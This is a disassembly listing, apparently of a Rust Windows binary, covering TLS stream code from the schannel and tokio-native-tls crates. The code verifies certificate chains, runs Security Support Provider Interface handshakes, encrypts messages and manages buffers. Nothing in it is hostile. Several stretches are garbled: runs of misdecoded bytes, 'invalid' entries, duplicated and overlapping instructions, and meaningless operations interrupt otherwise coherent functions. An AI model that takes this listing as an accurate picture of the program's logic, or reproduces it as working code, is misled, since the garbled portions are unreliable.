call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp 0x1400aee44
mov rcx, rbp
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rsi
mov rcx, r12
call rsi
mov r14d, 0xf10
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rbp, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x150]
call r12
lea rax, [rsp + 0xe0]
movups xmmword [rax], xmm6
movabs rax, 0x200000018
mov qword [rsp + 0xd8], rax
xor eax, eax
cmp rax, qword [rdi + 0x1a0]
jo 0x1400aeed4
cmp byte [rdi + 0x221], 1
je 0x1400aeed4
mov rax, qword [rdi + 0x1a8]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xf0], 0x10
mov dword [rsp + 0xf4], r14d
lea rax, [rsp + 0xd8]
mov qword [rsp + 0xf8], rax
movaps xmmword [rsp + 0xb0], xmm6
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0xb0], 0x18
mov ecx, 4
mov r15, qword [rsp + 0x118]
mov rdx, r15
lea r8, [rsp + 0xf0]
lea r9, [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertVerifyCertificateChainPolicy]
test eax, eax
movzx r14d, byte [rsp + 0x6f]
je 0x1400afa65
mov eax, dword [rsp + 0xb4]
mov rcx, qword [rdi + 0x200]
test rcx, rcx
je 0x1400aefab
mov r8, qword [rdi + 0x208]
mov rdx, qword [r8 + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov qword [rsp + 0x80], r15
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x8c], rax
lea rdx, [rsp + 0x80]
call qword [r8 + 0x28]
test rax, rax
je 0x1400aefb9
jmp 0x1400afa60
test eax, eax
jne 0x1400afa6b
mov rcx, r15
call r12
mov rcx, rbp
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
cmp byte [rdi + 0x1d0], 0
mov r13d, 0x400
jne 0x1400aefe0
mov rax, qword [rsp + 0x138]
mov byte [rax], 1
nop dword [rax]
cmp byte [rsp + 0x6e], 0
je 0x1400af665
mov rbp, qword [rdi + 0x178]
mov r12, qword [rdi + 0x210]
test r12, r12
je 0x1400af129
xor esi, esi
nop word cs:[rax + rax]
lea rax, [rbp*2]
cmp rax, r12
cmova r12, rax
cmp r12, 0x401
cmovb r12, r13
mov r15, qword [rdi + 0x170]
sub r12, r15
jbe 0x1400af07f
mov rax, qword [rdi + 0x160]
sub rax, r15
cmp rax, r12
jb 0x1400af0e1
mov r14, qword [rdi + 0x168]
lea rcx, [r14 + r15]
cmp r12, 2
jb 0x1400af072
lea r8, [r12 - 1]
xor edx, edx
call fcn.140121d00
add r15, r12
dec r15
add r14, r15
mov rcx, r14
mov byte [rcx], 0
inc r15
mov qword [rdi + 0x170], r15
mov r8, r15
sub r8, rbp
jb 0x1400afaa8
mov rdx, qword [rdi + 0x168]
add rdx, rbp
mov rcx, rbx
call fcn.1400990c0
test rax, rax
jne 0x1400af986
add rbp, rdx
mov qword [rdi + 0x178], rbp
mov rax, qword [rdi + 0x210]
mov rcx, rax
sub rcx, rdx
mov r12d, 0
cmovae r12, rcx
mov qword [rdi + 0x210], r12
test rdx, rdx
je 0x1400af120
add rsi, rdx
cmp rax, rdx
ja 0x1400af010
jmp 0x1400af120
lea rcx, [rdi + 0x160]
mov rdx, r15
mov r8, r12
call fcn.14012aee0
mov r15, qword [rdi + 0x170]
mov r14, qword [rdi + 0x168]
lea rcx, [r14 + r15]
cmp r12, 2
jae 0x1400af05a
jmp 0x1400af072
test rsi, rsi
je 0x1400af9ec
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400afaba
mov rdx, qword [rdi + 0x170]
cmp rbp, rdx
ja 0x1400afac9
mov r13, rax
mov rax, qword [rdi + 0x168]
mov dword [r13], ebp
mov dword [r13 + 4], 2
mov qword [r13 + 8], rax
movups xmmword [r13 + 0x10], xmm6
mov qword [rsp + 0xd8], 2
add byte [rdx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xe0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax + 0x3b], 0x87
mov eax, 0x71000001
invalid
add byte [rdx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xe0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax + 0x3b], 0x87
mov eax, 0x71000001
adc dword [rax - 0x39], ecx
mov dword [rsp + 0xb0], 0
jmp 0x1400af220
invalid
mov qword [rsp + 0xb0], 0
mov dword [rsp + 0xb0], 0
jmp 0x1400af220
invalid
mov rdx, qword [rdi + 0x1c0]
mov r8, qword [rdi + 0x1c8]
lea rcx, [rsp + 0xb0]
lea ecx, [rsp + 0xb0]
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
and al, 0xb0
lea ecx, [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add al, ch
xchg ebp, eax
test dword [rbx], eax
add byte [rax - 0x75], cl
mov ah, 0x24
mov al, 0
add byte [rax], al
invalid
call fcn.1400e7760
mov rsi, qword [rsp + 0xb0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
div byte [rax + rcx*2 + 0x4c]
mov esi, dword [rsp + 0xc0]
add byte [rax], al
test rsi, rsi
je 0x1400af220
mov r14, qword [rsp + 0xc0]
add byte [rax], al
mov ebp, dword [rsp + 0xb8]
lea rcx, [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
call fcn.14001c6c0
mov r13, qword [rsp + 0xe0]
mov dword [r13 + 0x20], ebp
mov dword [r13 + 0x24], 0x12
mov qword [r13 + 0x28], r14
mov qword [rsp + 0xe8], 3
mov eax, 3
jmp 0x1400af227
mov eax, 2
xor esi, esi
mov dword [rsp + 0x140], 0
mov dword [rsp + 0x144], eax
mov qword [rsp + 0x148], r13
movabs rax, 0x200000000
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 0
movabs rax, 0x1100000000
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x98]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movabs rax, 0x300000000
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x80]
lea eax, [rsp + 0x80]
lea eax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add bh, al
test byte [rsp + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x222bf], al
add byte [rax], al
mov qword [rsp + 0x178], rax
mov dword [rsp + 0xd4], 0
cmp byte [rdi + 0x222], 0
je 0x1400af360
cmp byte [rdi + 0x223], 0
mov rcx, qword [rsp + 0x108]
mov rdx, rcx
mov eax, 0
cmovne rdx, rax
mov rax, qword [rdi + 0x1e8]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0x140]
mov r9d, 0x1011c
call qword [sym.imp.secur32.dll_AcceptSecurityContext]
mov r12d, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
jne 0x1400af413
jmp 0x1400af419
test byte [rdi + 0x220], 1
mov r8d, 0
je 0x1400af376
mov r8, qword [rdi + 0x1a8]
xor eax, eax
cmp rax, qword [rdi + 0x1a0]
cmovo r8, rax
mov rax, qword [rdi + 0x1e8]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xf0]
mov rdx, qword [rsp + 0x108]
mov r9d, 0x9819c
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
mov r12d, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400af419
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x1400af42c
call qword [sym.imp.secur32.dll_FreeContextBuffer]
cmp r12d, 0x80090318
je 0x1400af575
test r12d, r12d
je 0x1400af4d7
cmp r12d, 0x90312
jne 0x1400af5a0
mov byte [rdi + 0x223], 0
cmp dword [r13 + 0x14], 5
jne 0x1400af638
mov r14, qword [rdi + 0x178]
mov eax, dword [r13 + 0x10]
mov r13, r14
sub r13, rax
jb 0x1400afad8
mov ebp, dword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
test eax, eax
je 0x1400af65b
mov rdx, qword [rdi + 0x170]
mov r15, rdx
sub r15, r13
jb 0x1400afaf0
mov qword [rdi + 0x170], 0
test r13, r13
je 0x1400af708
cmp rdx, r13
je 0x1400af714
mov rcx, qword [rdi + 0x168]
lea rdx, [rcx + r13]
mov r8, r15
call fcn.140121660
jmp 0x1400af70d
cmp dword [r13 + 0x14], 5
jne 0x1400af5ec
mov r14, qword [rsp + 0x88]
test r14, r14
je 0x1400af507
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x120], r14
mov rbp, qword [rdi + 0x178]
mov esi, dword [r13 + 0x10]
add dword [rax], eax
add byte [rcx - 0x75], al
jne 0x1400af522
mov r15, rbp
sub r15, rsi
cmp rbp, r15
jb 0x1400afad8
mov r13d, 0x400
mov ebp, 0x400
je 0x1400af78e
mov rdx, qword [rdi + 0x170]
jo 0x1400af533
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r12, rdx
sub r12, r15
jb 0x1400afaff
mov qword [rdi + 0x170], 0
test r15, r15
je 0x1400af785
test byte [rcx], dh
add al, byte [rax]
invalid
test byte [rcx], dh
add al, byte [rax]
add byte [rcx + rdi - 6], cl
cmp rdx, r15
je 0x1400af78e
mov rcx, qword [rdi + 0x168]
lea rdx, [rcx + r15]
push 0x4a000001
lea edx, [rcx + rdi]
mov r8, r12
call fcn.140121660
invalid
add cl, ch
invalid
add al, byte [rax]
invalid
invalid
mov eax, 1
cmp dword [r13 + 0x14], 4
cmp dword [rbp + 0x14], 4
cmp dword [rbp + 0x14], 4
jne 0x1400af585
mov eax, dword [r13 + 0x10]
mov qword [rdi + 0x210], rax
mov r13d, 0x400
test rsi, rsi
jne 0x1400af8cb
jmp 0x1400af8ec
shl r12, 0x20
or r12, 2
mov r13d, 0x400
test rsi, rsi
je 0x1400af874
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400af5c9
mov r8, qword [r8 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 0
jne 0x1400af87f
jmp 0x1400af8a0
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x1400af611
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x120], rax
mov qword [rdi + 0x178], 0
add byte [rax], al
add byte [rax], al
mov qword [rdi + 0x210], 1
mov r13d, 0x400
jne 0x1400af7ad
add byte [rax + rax], al
add byte [rdi], cl
test dword [rdx + 1], edi
add byte [rax], al
jmp 0x1400af8ae
mov r14, qword [rdi + 0x178]
mov ebp, dword [rsp + 0x80]
mov eax, 1
mov r12, qword [rsp + 0x88]
mov r13, r14
jmp 0x1400af716
mov eax, 1
jmp 0x1400af716
mov al, 2
test r14b, r14b
mov ecx, dword [rsp + 0x12c]
mov rdx, qword [rsp + 0x168]
mov r8, qword [rsp + 0x160]
jne 0x1400af6d2
movaps xmmword [rsp + 0x80], xmm6
mov dword [rsp + 0x90], 0
mov rcx, qword [rsp + 0x108]
mov edx, 4
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x1400afa43
mov ecx, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x84]
mov r8, qword [rsp + 0x8c]
mov al, 1
mov byte [rdi + 0x1d0], al
mov dword [rsp + 0x12c], ecx
mov dword [rdi + 0x1d4], ecx
mov qword [rsp + 0x168], rdx
mov qword [rdi + 0x1d8], rdx
mov qword [rsp + 0x160], r8
mov qword [rdi + 0x1e0], r8
jmp 0x1400ae9ae
cmp rdx, r13
je 0x1400af714
mov qword [rdi + 0x170], r15
xor eax, eax
sub r14, r13
mov qword [rdi + 0x178], r14
mov qword [rdi + 0x210], rax
test ebp, ebp
mov r15d, ebp
mov rdx, r12
mov eax, 1
cmove rdx, rax
mov rax, qword [rdi + 0x180]
mov rcx, qword [rdi + 0x190]
sub rax, rcx
cmp rax, r15
jb 0x1400af91f
mov r13d, 0x400
add rcx, qword [rdi + 0x188]
mov r8, r15
call fcn.140121660
add qword [rdi + 0x190], r15
mov rcx, r12
call qword [sym.imp.secur32.dll_FreeContextBuffer]
test rsi, rsi
jne 0x1400af8cb
jmp 0x1400af8ec
cmp rdx, r15
jne 0x1400af816
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x178], rsi
mov qword [rdi + 0x210], rax
test r14, r14
je 0x1400af83c
mov r15d, dword [rsp + 0x130]
test r15, r15
mov rsi, qword [rsp + 0x120]
mov rdx, rsi
mov eax, 1
cmove rdx, rax
mov rax, qword [rdi + 0x180]
mov rcx, qword [rdi + 0x190]
sub rax, rcx
cmp rax, r15
jb 0x1400af949
add rcx, qword [rdi + 0x188]
mov r8, r15
call fcn.140121660
add qword [rdi + 0x190], r15
mov rcx, rsi
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rsi, qword [rdi + 0x178]
test rsi, rsi
jne 0x1400af841
jmp 0x1400af8ae
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x170], r12
mov qword [rdi + 0x178], rsi
mov qword [rdi + 0x210], rax
test r14, r14
jne 0x1400af7ad
test rsi, rsi
je 0x1400af8ae
lea rcx, [rsp + 0xf0]
mov rdx, rdi
call fcn.1400afb10
cmp byte [rsp + 0xf0], 0
je 0x1400af8ae
mov r12, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
jne 0x1400af5b7
cmp qword [rsp + 0xd8], 0
je 0x1400af8a0
mov r8, qword [rsp + 0xe0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
test r12, r12
je 0x1400ae9ae
jmp 0x1400af9e1
cmp byte [rdi + 0x1d0], 0
jne 0x1400af8be
mov byte [rdi + 0x1d2], 0
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x1400af8ec
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400af8dd
mov r8, qword [r8 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 0
je 0x1400af90e
mov r8, qword [rsp + 0xe0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor r12d, r12d
test r12, r12
je 0x1400ae9ae
jmp 0x1400af9e1
lea rax, [rdi + 0x180]
mov r8, rcx
mov rcx, rax
mov r14, rdx
mov rdx, r8
mov r8, r15
call fcn.14012aee0
mov rdx, r14
mov rcx, qword [rdi + 0x190]
jmp 0x1400af752
lea rax, [rdi + 0x180]
mov r8, rcx
mov rcx, rax
mov rsi, rdx
mov rdx, r8
mov r8, r15
call fcn.14012aee0
mov rdx, rsi
mov rsi, qword [rsp + 0x120]
mov rcx, qword [rdi + 0x190]
jmp 0x1400af7e6
mov r14d, 0xf00
jmp 0x1400aee89
mov rdi, qword [rsp + 0x70]
mov qword [rdi + 8], rdx
mov eax, 2
mov dword [rdi], eax
movaps xmm6, xmmword [rsp + 0x180]
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp eax, 1
jne 0x1400af9d8
mov rcx, qword [rsp + 0x138]
mov eax, dword [rcx + 0x10]
mov rdi, qword [rsp + 0x70]
mov dword [rdi + 0x14], eax
movups xmm0, xmmword [rcx]
movups xmmword [rdi + 4], xmm0
mov eax, 1
jmp 0x1400af994
xor eax, eax
mov rdi, qword [rsp + 0x70]
jmp 0x1400af994
mov rdi, qword [rsp + 0x70]
mov qword [rdi + 8], r12
jmp 0x1400af98f
lea rdx, str.unexpected_EOF_during_handshakeassertion_failed:_size___nread
mov r8d, 0x1f
mov cl, 0x25
call fcn.140070150
mov rdi, qword [rsp + 0x70]
jmp 0x1400afa90
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, rax
mov rcx, r12
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rdi
mov rcx, rbp
call rdi
mov rcx, r13
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rdi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
jmp 0x1400afa84
shl rax, 0x20
or rax, 2
mov rdi, qword [rsp + 0x70]
jmp 0x1400afa90
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, rax
jmp 0x1400afa7f
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, rax
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rdi, qword [rsp + 0x70]
mov rcx, rbp
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rax, rsi
mov qword [rdi + 8], rax
jmp 0x1400af98f
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, r15
call fcn.140122510
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, rbp
mov rdx, r15
call fcn.140122510
mov ecx, 8
mov edx, 0x20
call fcn.140122190
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, rbp
call fcn.1401225f0
lea rcx, [0x14015ced7]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov edx, 0x1f
call fcn.140122660
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, r13
call fcn.1401225f0
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, r15
call fcn.1401225f0
int3
add rcx, qword [rdi + 0x148]
mov r8, rbx
call fcn.140121660
add qword [rdi + 0x150], rbx
cmp dword [rsp + 0x54], 5
cmove r14d, dword [rsp + 0x50]
mov qword [rdi + 0x158], 0
mov rcx, qword [rdi + 0x178]
mov rdx, rcx
sub rdx, r14
jb 0x1400afdcc
test r14d, r14d
je 0x1400afd73
mov rax, qword [rdi + 0x170]
mov rbx, rax
sub rbx, rdx
jb 0x1400afde4
mov qword [rdi + 0x170], 0
cmp rcx, r14
jne 0x1400afd55
cmp rax, rdx
jne 0x1400afd6c
jmp 0x1400afd73
cmp rax, rdx
je 0x1400afd73
mov rcx, qword [rdi + 0x168]
add rdx, rcx
mov r8, rbx
call fcn.140121660
mov qword [rdi + 0x170], rbx
xor eax, eax
test r14d, r14d
sete al
mov qword [rdi + 0x178], r14
mov qword [rdi + 0x210], rax
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, qword [rdi + 0x150]
jmp 0x1400afc09
invalid
dec dword [rbp + rcx*4 + 5]
invalid
lea rcx, [0x14015ced7]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov edx, 0x1f
add al, ch
jl 0x1400afe0a
invalid
invalid
add al, ch
jl 0x1400afe0a
invalid
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rdx, r9
call fcn.140122990
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
or al, byte [rax]
mov rcx, r9
mov rdx, rax
call fcn.1401225f0
int3
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
mov edx, 0x29
call fcn.140122660
lea r14, [rbx + 0x10]
mov r15, qword [rbx + 0x38]
mov r12, qword [rbx + 0x88]
movabs r13, 0xd00000003
nop dword [rax]
mov r9, rsi
sub r9, rdi
jb 0x1400afecd
test r15, r15
je 0x1400afe4c
lea r8, [r12 + rdi]
mov rcx, r14
mov rdx, r15
call fcn.14010cfc0
cmp rax, 2
cmove rdx, r13
test rax, rax
jne 0x1400afeba
add rdi, rdx
mov qword [rbx + 0x98], rdi
cmp rdi, rsi
jne 0x1400afe80
xor edx, edx
mov rax, rdx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, rdi
mov rdx, rsi
call fcn.140122510
int3
mov eax, 1
jmp 0x1400b0112
lea r8, [rbp - 1]
xor edx, edx
call fcn.140121d00
add r14, rbp
dec r14
add rbx, r14
mov rcx, rbx
lea rbx, [rsp + 0x28]
mov byte [rcx], 0
inc r14
mov qword [rsi + 0x190], r14
cmp r12, r14
ja 0x1400b0165
mov rcx, qword [rsi + 0x188]
add rcx, r13
mov rdx, r15
mov r8, rdi
call fcn.140121660
mov rdx, qword [rsi + 0x190]
cmp rdx, r13
jb 0x1400b0177
cmp rdx, r12
jb 0x1400b0186
mov rax, qword [rsi + 0x188]
lea rcx, [rax + r13]
sub edx, r12d
add r12, rax
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], 7
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x3c], 1
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x4c], 6
mov qword [rsp + 0x50], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movabs rax, 0x400000000
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rbx
lea rcx, [rsi + 0x1f0]
lea r8, [rsp + 0x68]
xor edx, edx
xor r9d, r9d
call qword [sym.imp.secur32.dll_EncryptMessage]
test eax, eax
je 0x1400b0086
mov edx, eax
shl rdx, 0x20
or rdx, 2
jmp 0x1400aff17
mov eax, dword [rsp + 0x38]
add eax, dword [rsp + 0x28]
add eax, dword [rsp + 0x48]
mov rdx, qword [rsi + 0x190]
cmp rdx, rax
jb 0x1400b00a8
mov qword [rsi + 0x190], rax
mov rdx, rax
mov qword [rsi + 0x198], 0
mov qword [rsi + 0x218], rdi
xor r14d, r14d
cmp r14, rdx
je 0x1400b0109
lea rdi, [rsi + 0x10]
nop word cs:[rax + rax]
mov r8, rdx
sub r8, r14
jb 0x1400b0156
mov rdx, qword [rsi + 0x188]
add rdx, r14
mov rcx, rdi
call fcn.140099260
test rax, rax
jne 0x1400aff17
add r14, rdx
mov qword [rsi + 0x198], r14
mov rdx, qword [rsi + 0x190]
cmp r14, rdx
jne 0x1400b00d0
mov rdx, qword [rsi + 0x218]
xor eax, eax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea ecx, [rbx + rsi]
cmp rbp, 2
jae 0x1400aff8c
invalid
invalid
invalid
jmp 0x1400affa3
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, r14
call fcn.140122510
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, r12
loope 0x1400b01bc
mov edx, esi
loope 0x1400b01bc
mov edx, esi
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, r13
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, r12
call fcn.1401225f0
int3
and al, 0x20
mov rdx, rdi
call fcn.1400ad4f0
mov eax, dword [rsp + 0x20]
cmp eax, 2
jne 0x1400b01de
mov rdx, qword [rsp + 0x28]
mov esi, 1
jmp 0x1400b03f7
mov esi, 1
test eax, eax
je 0x1400b033b
mov rdx, qword [rdi + 0x90]
mov rbx, qword [rdi + 0x98]
cmp rbx, rdx
jne 0x1400b0380
mov r14, qword [rsp + 0x28]
mov r15d, r14d
shr r14, 0x20
cmp r13, r14
cmovb r14, r13
mov ebp, dword [rsp + 0x24]
lea r13, [r14 + rbp]
add r15, r13
sub r15, rbx
jbe 0x1400b0274
mov rax, qword [rdi + 0x80]
sub rax, rbx
cmp rax, r15
jb 0x1400b040b
invalid
add byte [rax - 0x75], cl
xchg dword [rax + 0x48000000], ecx
lea ecx, [rax + rbx]
mov rax, qword [rdi + 0x88]
lea rcx, [rax + rbx]
cmp r15, 2
jb 0x1400b0267
lea r8, [r15 - 1]
xor edx, edx
mov qword [rsp + 0x60], rax
call fcn.140121d00
add rbx, r15
dec rbx
mov rcx, qword [rsp + 0x60]
add rcx, rbx
mov byte [rcx], 0
inc rbx
mov qword [rdi + 0x90], rbx
cmp r13, rbx
ja 0x1400b0465
mov rcx, qword [rdi + 0x88]
add rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.140121660
mov rdx, qword [rdi + 0x90]
cmp rdx, rbp
jb 0x1400b0477
cmp rdx, r13
jb 0x1400b0486
mov rax, qword [rdi + 0x88]
lea rcx, [rax + rbp]
sub edx, r13d
add r13, rax
mov dword [rsp + 0x20], ebp
mov dword [rsp + 0x24], 7
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x34], 1
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x44], 6
mov qword [rsp + 0x48], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movabs rax, 0x400000000
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x70], rax
lea rcx, [rdi + 0xf0]
lea r8, [rsp + 0x68]
xor edx, edx
xor r9d, r9d
call qword [sym.imp.secur32.dll_EncryptMessage]
test eax, eax
je 0x1400b034a
mov edx, eax
shl rdx, 0x20
or rdx, 2
jmp 0x1400b03f7
movabs rdx, 0x8009031700000002
jmp 0x1400b03f7
mov eax, dword [rsp + 0x30]
add eax, dword [rsp + 0x20]
add eax, dword [rsp + 0x40]
mov rdx, qword [rdi + 0x90]
cmp rdx, rax
jb 0x1400b036c
mov qword [rdi + 0x90], rax
mov rdx, rax
mov qword [rdi + 0x98], 0
mov qword [rdi + 0x118], r14
xor ebx, ebx
cmp rbx, rdx
je 0x1400b03ee
lea r14, [rdi + 0x10]
movabs r15, 0xd00000003
nop word cs:[rax + rax]
mov r9, rdx
sub r9, rbx
jb 0x1400b043e
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x1400b044d
mov r8, qword [rdi + 0x88]
add r8, rbx
mov rcx, r14
call fcn.14010cfc0
cmp rax, 2
cmove rdx, r15
test rax, rax
jne 0x1400b03f7
add rbx, rdx
mov qword [rdi + 0x98], rbx
mov rdx, qword [rdi + 0x90]
cmp rbx, rdx
jne 0x1400b03a0
mov rdx, qword [rdi + 0x118]
xor esi, esi
mov rax, rsi
add rsp, 0x78
pop rbx
